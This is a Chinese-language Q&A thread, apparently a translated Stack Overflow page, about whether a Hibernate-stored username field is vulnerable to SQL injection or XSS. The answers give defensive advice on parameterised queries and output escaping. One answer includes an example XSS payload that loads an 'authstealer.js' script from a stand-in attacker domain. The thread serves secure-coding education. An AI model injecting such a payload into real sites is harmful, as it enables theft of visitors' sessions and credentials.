我有一个表单,用户可以在我的网站上注册 数据存储在用户POJO
中class User{
private String userName;
private boolean enabled;
private Date registrationDate;
...
}
然后使用
保存到数据库org.hibernate.Session.persist(User)
攻击者是否有办法在userName字段上执行sql注入或XSS,污染数据或进行任何其他类型的攻击?我如何防范它?
攻击者也可以在String以外的数据类型中存储sql语句或javascript代码吗?
答案 0 :(得分:1)
https://www.owasp.org/index.php/Hibernate#A_note_about_SQL_injection
验证表单输入总是更好。由于给定的对象相对简单,因此对您来说不应该是一个问题。
也不要通过字符串连接构建查询,并在需要时使用Query.setParameter()。这些方法专用于SQL注入预防,并将消除此类风险。
答案 1 :(得分:1)
从目前为止发布的内容看起来很容易受到XSS的攻击。 如果我为用户名提供以下字符串该怎么办:
Username<script src="http://myevilsite.com/authstealer.js">
任何在网站上看到我的用户名的人都会运行一些js。
也许你应该burp你的网站。
答案 2 :(得分:0)
清除hibernate的使用,比如说不做丑陋的事情,是安全的。所以没有SQL注入。
但是,如果HTML表单输入没有防范JavaScript,那么您可能会在数据库中的文本中获得JS。
在输出该文本时,必须注意做escapeHTML = true。 然后没有XSS 。
一般来说不是一个大问题,但要注意开发人员的问题。带有转储等的管理页面上的懒惰;这些页面可能会更简单地创建。
在其他格式上: SVG (可编写脚本的矢量格式)是一种美观的可扩展XML格式的图像,可在HTML页面上显示。但是,它们可能包含用于交互的JavaScript。
上传的 richt text 和电子表格格式同样适用,有时保存在数据库的 BLOB 中。